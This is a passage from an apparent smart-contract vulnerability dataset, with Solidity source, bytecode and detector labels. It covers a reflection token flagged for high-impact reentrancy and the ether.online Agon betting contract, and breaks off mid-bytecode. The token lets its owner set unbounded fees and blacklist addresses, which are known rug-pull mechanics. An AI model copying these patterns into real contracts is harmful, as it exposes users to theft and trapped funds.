_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104f6578063dd62ed3e14610516578063ea1644d51461055c578063f2fde38b1461057c57600080fd5b8063a2a957bb14610471578063a9059cbb14610491578063bfd79284146104b1578063c3c8cd80146104e157600080fd5b80638f70ccf7116100d15780638f70ccf71461041b5780638f9a55c01461043b57806395d89b41146101f357806398a5c3151461045157600080fd5b806374010ece146103c75780637d1db4a5146103e75780638da5cb5b146103fd57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035d5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d57600080fd5b80631694505e116101a05780631694505e1461026f57806318160ddd146102a757806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023f57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ac0565b61059c565b005b3480156101ff57600080fd5b506040805180820182526014815273135654d511549253d8591d995c9d1a5cdb595b9d60621b602082015290516102369190611bea565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a16565b610649565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50662386f26fc100005b604051908152602001610236565b3480156102d757600080fd5b5061025f6102e63660046119d6565b610660565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610236565b34801561032957600080fd5b5060155461028f906001600160a01b031681565b34801561034957600080fd5b506101f1610358366004611966565b6106c9565b34801561036957600080fd5b506101f1610378366004611b87565b610714565b34801561038957600080fd5b506101f161075c565b34801561039e57600080fd5b506102bd6103ad366004611966565b6107a7565b3480156103be57600080fd5b506101f16107c9565b3480156103d357600080fd5b506101f16103e2366004611ba1565b61083d565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506000546001600160a01b031661028f565b34801561042757600080fd5b506101f1610436366004611b87565b61086c565b34801561044757600080fd5b506102bd60175481565b34801561045d57600080fd5b506101f161046c366004611ba1565b6108b4565b34801561047d57600080fd5b506101f161048c366004611bb9565b6108e3565b34801561049d57600080fd5b5061025f6104ac366004611a16565b610921565b3480156104bd57600080fd5b5061025f6104cc366004611966565b60106020526000908152604090205460ff1681565b3480156104ed57600080fd5b506101f161092e565b34801561050257600080fd5b506101f1610511366004611a41565b610982565b34801561052257600080fd5b506102bd61053136600461199e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056857600080fd5b506101f1610577366004611ba1565b610a31565b34801561058857600080fd5b506101f1610597366004611966565b610a60565b6000546001600160a01b031633146105cf5760405162461bcd60e51b81526004016105c690611c3d565b60405180910390fd5b60005b81518110156106455760016010600084848151811061060157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063d81611d50565b9150506105d2565b5050565b6000610656338484610b4a565b5060015b92915050565b600061066d848484610c6e565b6106bf84336106ba85604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111aa565b610b4a565b5060019392505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016105c690611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016105c690611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061079157506013546001600160a01b0316336001600160a01b0316145b61079a57600080fd5b476107a4816111e4565b50565b6001600160a01b03811660009081526002602052604081205461065a90611269565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016105c690611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108675760405162461bcd60e51b81526004016105c690611c3d565b601655565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105c690611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016105c690611c3d565b601855565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016105c690611c3d565b600893909355600a91909155600955600b55565b6000610656338484610c6e565b6012546001600160a01b0316336001600160a01b0316148061096357506013546001600160a01b0316336001600160a01b0316145b61096c57600080fd5b6000610977306107a7565b90506107a4816112ed565b6000546001600160a01b031633146109ac5760405162461bcd60e51b81526004016105c690611c3d565b60005b82811015610a2b5781600560008686858181106109dc57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109f19190611966565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2381611d50565b9150506109af565b50505050565b6000546001600160a01b03163314610a5b5760405162461bcd60e51b81526004016105c690611c3d565b601755565b6000546001600160a01b03163314610a8a5760405162461bcd60e51b81526004016105c690611c3d565b6001600160a01b038116610aef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105c6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c6565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c6565b6001600160a01b038216610d345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c6565b60008111610d965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c6565b6000546001600160a01b03848116911614801590610dc257506000546001600160a01b03838116911614155b156110a357601554600160a01b900460ff16610e5b576000546001600160a01b03848116911614610e5b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105c6565b601654811115610ead5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105c6565b6001600160a01b03831660009081526010602052604090205460ff16158015610eef57506001600160a01b03821660009081526010602052604090205460ff16155b610f475760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105c6565b6015546001600160a01b03838116911614610fcc5760175481610f69846107a7565b610f739190611ce2565b10610fcc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105c6565b6000610fd7306107a7565b601854601654919250821015908210610ff05760165491505b8080156110075750601554600160a81b900460ff16155b801561102157506015546001600160a01b03868116911614155b80156110365750601554600160b01b900460ff165b801561105b57506001600160a01b03851660009081526005602052604090205460ff16155b801561108057506001600160a01b03841660009081526005602052604090205460ff16155b156110a05761108e826112ed565b47801561109e5761109e476111e4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110e557506001600160a01b03831660009081526005602052604090205460ff165b8061111757506015546001600160a01b0385811691161480159061111757506015546001600160a01b03848116911614155b156111245750600061119e565b6015546001600160a01b03858116911614801561114f57506014546001600160a01b03848116911614155b1561116157600854600c55600954600d555b6015546001600160a01b03848116911614801561118c57506014546001600160a01b03858116911614155b1561119e57600a54600c55600b54600d555b610a2b84848484611492565b600081848411156111ce5760405162461bcd60e51b81526004016105c69190611bea565b5060006111db8486611d39565b95945050505050565b6012546001600160a01b03166108fc6111fe8360026114c0565b6040518115909202916000818181858888f19350505050158015611226573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112418360026114c0565b6040518115909202916000818181858888f19350505050158015610645573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c6565b60006112da611502565b90506112e683826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139757600080fd5b505afa1580156113ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cf9190611982565b816001815181106113f057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114169130911684610b4a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144f908590600090869030904290600401611c72565b600060405180830381600087803b15801561146957600080fd5b505af115801561147d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149f5761149f611525565b6114aa848484611553565b80610a2b57610a2b600e54600c55600f54600d55565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061164a565b600080600061150f611678565b909250905061151e82826114c0565b9250505090565b600c541580156115355750600d54155b1561153c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611565876116b6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115979087611713565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115c69086611755565b6001600160a01b0389166000908152600260205260409020556115e8816117b4565b6115f284836117fe565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163791815260200190565b60405180910390a3505050505050505050565b6000818361166b5760405162461bcd60e51b81526004016105c69190611bea565b5060006111db8486611cfa565b6006546000908190662386f26fc1000061169282826114c0565b8210156116ad57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116d38a600c54600d54611822565b92509250925060006116e3611502565b905060008060006116f68e878787611877565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111aa565b6000806117628385611ce2565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c6565b60006117be611502565b905060006117cc83836118c7565b306000908152600260205260409020549091506117e99082611755565b30600090815260026020526040902055505050565b60065461180b9083611713565b60065560075461181b9082611755565b6007555050565b600080808061183c606461183689896118c7565b906114c0565b9050600061184f60646118368a896118c7565b90506000611867826118618b86611713565b90611713565b9992985090965090945050505050565b600080808061188688866118c7565b9050600061189488876118c7565b905060006118a288886118c7565b905060006118b4826118618686611713565b939b939a50919850919650505050505050565b6000826118d65750600061065a565b60006118e28385611d1a565b9050826118ef8583611cfa565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c6565b803561195181611d97565b919050565b8035801515811461195157600080fd5b600060208284031215611977578081fd5b81356112e681611d97565b600060208284031215611993578081fd5b81516112e681611d97565b600080604083850312156119b0578081fd5b82356119bb81611d97565b915060208301356119cb81611d97565b809150509250929050565b6000806000606084860312156119ea578081fd5b83356119f581611d97565b92506020840135611a0581611d97565b929592945050506040919091013590565b60008060408385031215611a28578182fd5b8235611a3381611d97565b946020939093013593505050565b600080600060408486031215611a55578283fd5b833567ffffffffffffffff80821115611a6c578485fd5b818601915086601f830112611a7f578485fd5b813581811115611a8d578586fd5b8760208260051b8501011115611aa1578586fd5b602092830195509350611ab79186019050611956565b90509250925092565b60006020808385031215611ad2578182fd5b823567ffffffffffffffff80821115611ae9578384fd5b818501915085601f830112611afc578384fd5b813581811115611b0e57611b0e611d81565b8060051b604051601f19603f83011681018181108582111715611b3357611b33611d81565b604052828152858101935084860182860187018a1015611b51578788fd5b8795505b83861015611b7a57611b6681611946565b855260019590950194938601938601611b55565b5098975050505050505050565b600060208284031215611b98578081fd5b6112e682611956565b600060208284031215611bb2578081fd5b5035919050565b60008060008060808587031215611bce578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c1657858101830151858201604001528201611bfa565b81811115611c275783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc15784516001600160a01b031683529383019391830191600101611c9c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf557611cf5611d6b565b500190565b600082611d1557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d3457611d34611d6b565b500290565b600082821015611d4b57611d4b611d6b565b500390565b6000600019821415611d6457611d64611d6b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107a457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa8fb2bc410a493e4cde0eec1f4250480fdc9893216a0eaf54f52580297fe2a964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,828 |
0x6cb877964e66fc227ff19e29969f6fc6a21798c2 | /* ==================================================================== */
/* Copyright (c) 2018 The ether.online Project. All rights reserved.
/*
/* https://ether.online The first RPG game of blockchain
/*
/* authors rickhunter.shen@gmail.com
/* ssesunding@gmail.com
/* ==================================================================== */
pragma solidity ^0.4.20;
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
function AccessAdmin() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessNoWithdraw is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
modifier onlyManager() {
require(msg.sender == addrService || msg.sender == addrAdmin || msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface IAgonFight {
function calcFight(uint64 _mFlag, uint64 _cFlag, uint256 _aSeed, uint256 _fSeed) external pure returns(uint64);
}
contract ActionAgon is AccessNoWithdraw {
using SafeMath for uint256;
event CreateAgon(uint64 indexed agonId, address indexed master, uint64 indexed outFlag);
event CancelAgon(uint64 indexed agonId, address indexed master, uint64 indexed outFlag);
event ChallengeAgon(uint64 indexed agonId, address indexed master, uint64 indexed outFlag, address challenger);
event ResolveAgon(uint64 indexed agonId, address indexed master, uint64 indexed outFlag, address challenger);
struct Agon {
address master;
address challenger;
uint64 agonPrice;
uint64 outFlag;
uint64 agonFlag;
uint64 result; // 1-win, 2-lose, 99-cancel
}
Agon[] agonArray;
address public poolContract;
IAgonFight fightContract;
mapping (address => uint64[]) public ownerToAgonIdArray;
uint256 public maxAgonCount = 6;
uint256 public maxResolvedAgonId = 0;
uint256[5] public agonValues = [0.05 ether, 0.2 ether, 0.5 ether, 1 ether, 2 ether];
function ActionAgon() public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
Agon memory order = Agon(0, 0, 0, 0, 1, 1);
agonArray.push(order);
}
function() external {}
function setArenaPool(address _addr) external onlyAdmin {
require(_addr != address(0));
poolContract = _addr;
}
function setMaxAgonCount(uint256 _count) external onlyAdmin {
require(_count > 0 && _count < 20);
require(_count != maxAgonCount);
maxAgonCount = _count;
}
function setAgonFight(address _addr) external onlyAdmin {
fightContract = IAgonFight(_addr);
}
function setMaxResolvedAgonId() external {
uint256 length = agonArray.length;
for (uint256 i = maxResolvedAgonId; i < length; ++i) {
if (agonArray[i].result == 0) {
maxResolvedAgonId = i - 1;
break;
}
}
}
function setAgonValues(uint256[5] values) external onlyAdmin {
require(values[0] >= 0.001 ether);
require(values[1] >= values[0]);
require(values[2] >= values[1]);
require(values[3] >= values[2]);
require(values[4] >= values[3]);
require(values[4] <= 10 ether); // 10 ether < 2^64
require(values[0] % 1000000000 == 0);
require(values[1] % 1000000000 == 0);
require(values[2] % 1000000000 == 0);
require(values[3] % 1000000000 == 0);
require(values[4] % 1000000000 == 0);
agonValues[0] = values[0];
agonValues[1] = values[1];
agonValues[2] = values[2];
agonValues[3] = values[3];
agonValues[4] = values[4];
}
function newAgon(uint64 _outFlag, uint64 _valId) external payable whenNotPaused {
require(ownerToAgonIdArray[msg.sender].length < maxAgonCount);
require(_valId >= 0 && _valId <= 4);
require(msg.value == agonValues[_valId]);
uint64 newAgonId = uint64(agonArray.length);
agonArray.length += 1;
Agon storage agon = agonArray[newAgonId];
agon.master = msg.sender;
agon.agonPrice = uint64(msg.value); // 10 ether < 2^64
agon.outFlag = _outFlag;
ownerToAgonIdArray[msg.sender].push(newAgonId);
CreateAgon(uint64(newAgonId), msg.sender, _outFlag);
}
function _removeAgonIdByOwner(address _owner, uint64 _agonId) internal {
uint64[] storage agonIdArray = ownerToAgonIdArray[_owner];
uint256 length = agonIdArray.length;
require(length > 0);
uint256 findIndex = 99;
for (uint256 i = 0; i < length; ++i) {
if (_agonId == agonIdArray[i]) {
findIndex = i;
}
}
require(findIndex != 99);
if (findIndex != (length - 1)) {
agonIdArray[findIndex] = agonIdArray[length - 1];
}
agonIdArray.length -= 1;
}
function cancelAgon(uint64 _agonId) external {
require(_agonId < agonArray.length);
Agon storage agon = agonArray[_agonId];
require(agon.result == 0);
require(agon.challenger == address(0));
require(agon.master == msg.sender);
agon.result = 99;
_removeAgonIdByOwner(msg.sender, _agonId);
msg.sender.transfer(agon.agonPrice);
CancelAgon(_agonId, msg.sender, agon.outFlag);
}
function cancelAgonForce(uint64 _agonId) external onlyService {
require(_agonId < agonArray.length);
Agon storage agon = agonArray[_agonId];
require(agon.result == 0);
require(agon.challenger == address(0));
agon.result = 99;
_removeAgonIdByOwner(agon.master, _agonId);
agon.master.transfer(agon.agonPrice);
CancelAgon(_agonId, agon.master, agon.outFlag);
}
function newChallenge(uint64 _agonId, uint64 _flag) external payable whenNotPaused {
require(_agonId < agonArray.length);
Agon storage agon = agonArray[_agonId];
require(agon.result == 0);
require(agon.master != msg.sender);
require(uint256(agon.agonPrice) == msg.value);
require(agon.challenger == address(0));
agon.challenger = msg.sender;
agon.agonFlag = _flag;
ChallengeAgon(_agonId, agon.master, agon.outFlag, msg.sender);
}
function fightAgon(uint64 _agonId, uint64 _mFlag, uint256 _aSeed, uint256 _fSeed) external onlyService {
require(_agonId < agonArray.length);
Agon storage agon = agonArray[_agonId];
require(agon.result == 0 && agon.challenger != address(0));
require(fightContract != address(0));
uint64 fRet = fightContract.calcFight(_mFlag, agon.agonFlag, _aSeed, _fSeed);
require(fRet == 1 || fRet == 2);
agon.result = fRet;
_removeAgonIdByOwner(agon.master, _agonId);
uint256 devCut = uint256(agon.agonPrice).div(10);
uint256 winVal = uint256(agon.agonPrice).mul(2).sub(devCut);
if (fRet == 1) {
agon.master.transfer(winVal);
} else {
agon.challenger.transfer(winVal);
}
if (poolContract != address(0)) {
uint256 pVal = devCut.div(2);
poolContract.transfer(pVal);
addrFinance.transfer(devCut.sub(pVal));
} else {
addrFinance.transfer(devCut);
}
ResolveAgon(_agonId, agon.master, agon.outFlag, agon.challenger);
}
function getAgon(uint256 _agonId) external view
returns(
address master,
address challenger,
uint64 agonPrice,
uint64 outFlag,
uint64 agonFlag,
uint64 result
)
{
require(_agonId < agonArray.length);
Agon memory agon = agonArray[_agonId];
master = agon.master;
challenger = agon.challenger;
agonPrice = agon.agonPrice;
outFlag = agon.outFlag;
agonFlag = agon.agonFlag;
result = agon.result;
}
function getAgonArray(uint64 _startAgonId, uint64 _count) external view
returns(
uint64[] agonIds,
address[] masters,
address[] challengers,
uint64[] agonPrices,
uint64[] agonOutFlags,
uint64[] agonFlags,
uint64[] results
)
{
uint64 length = uint64(agonArray.length);
require(_startAgonId < length);
require(_startAgonId > 0);
uint256 maxLen;
if (_count == 0) {
maxLen = length - _startAgonId;
} else {
maxLen = (length - _startAgonId) >= _count ? _count : (length - _startAgonId);
}
agonIds = new uint64[](maxLen);
masters = new address[](maxLen);
challengers = new address[](maxLen);
agonPrices = new uint64[](maxLen);
agonOutFlags = new uint64[](maxLen);
agonFlags = new uint64[](maxLen);
results = new uint64[](maxLen);
uint256 counter = 0;
for (uint64 i = _startAgonId; i < length; ++i) {
Agon storage tmpAgon = agonArray[i];
agonIds[counter] = i;
masters[counter] = tmpAgon.master;
challengers[counter] = tmpAgon.challenger;
agonPrices[counter] = tmpAgon.agonPrice;
agonOutFlags[counter] = tmpAgon.outFlag;
agonFlags[counter] = tmpAgon.agonFlag;
results[counter] = tmpAgon.result;
counter += 1;
if (counter >= maxLen) {
break;
}
}
}
function getMaxAgonId() external view returns(uint256) {
return agonArray.length - 1;
}
function getAgonIdArray(address _owner) external view returns(uint64[]) {
return ownerToAgonIdArray[_owner];
}
} | 0x6060604052600436106101695763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631531076c8114610176578063165126241461038e57806326180224146103a3578063271a50db146103be57806328b6c658146103dd57806330efb8d3146104025780633407dd2414610415578063549c7b58146104545780636044ce6e146104b957806367d0661d146104d95780636d57e2a9146104ec578063704b6c021461055e578063748c350b1461057d578063750240a214610593578063752c8777146105a657806379859a78146105c557806382cb9df9146105db578063887533431461060a57806388d52ef71461061d5780639b8d306414610630578063a87e0c331461064f578063b187bd261461066a578063b9aa823614610691578063bf8bdac1146106a4578063bfae2f0e146106c3578063cdd977e0146106d6578063f0af7e65146106e9578063f696c4ed14610709575b341561017457600080fd5b005b341561018157600080fd5b61019c67ffffffffffffffff60043581169060243516610735565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b838110156101f45780820151838201526020016101dc565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b8381101561023357808201518382015260200161021b565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b8381101561027257808201518382015260200161025a565b5050505090500188810385528c818151815260200191508051906020019060200280838360005b838110156102b1578082015183820152602001610299565b5050505090500188810384528b818151815260200191508051906020019060200280838360005b838110156102f05780820151838201526020016102d8565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b8381101561032f578082015183820152602001610317565b50505050905001888103825289818151815260200191508051906020019060200280838360005b8381101561036e578082015183820152602001610356565b505050509050019e50505050505050505050505050505060405180910390f35b341561039957600080fd5b6101746004610aa1565b61017467ffffffffffffffff60043581169060243516610bcc565b34156103c957600080fd5b610174600160a060020a0360043516610d43565b34156103e857600080fd5b6103f0610d85565b60405190815260200160405180910390f35b341561040d57600080fd5b610174610d8b565b341561042057600080fd5b610437600160a060020a0360043516602435610dc8565b60405167ffffffffffffffff909116815260200160405180910390f35b341561045f57600080fd5b61046a600435610e14565b604051600160a060020a03968716815294909516602085015267ffffffffffffffff928316604080860191909152918316606085015282166080840152921660a082015260c001905180910390f35b34156104c457600080fd5b61017467ffffffffffffffff60043516610ef5565b34156104e457600080fd5b610174611077565b34156104f757600080fd5b61050b600160a060020a03600435166110b6565b6040516020808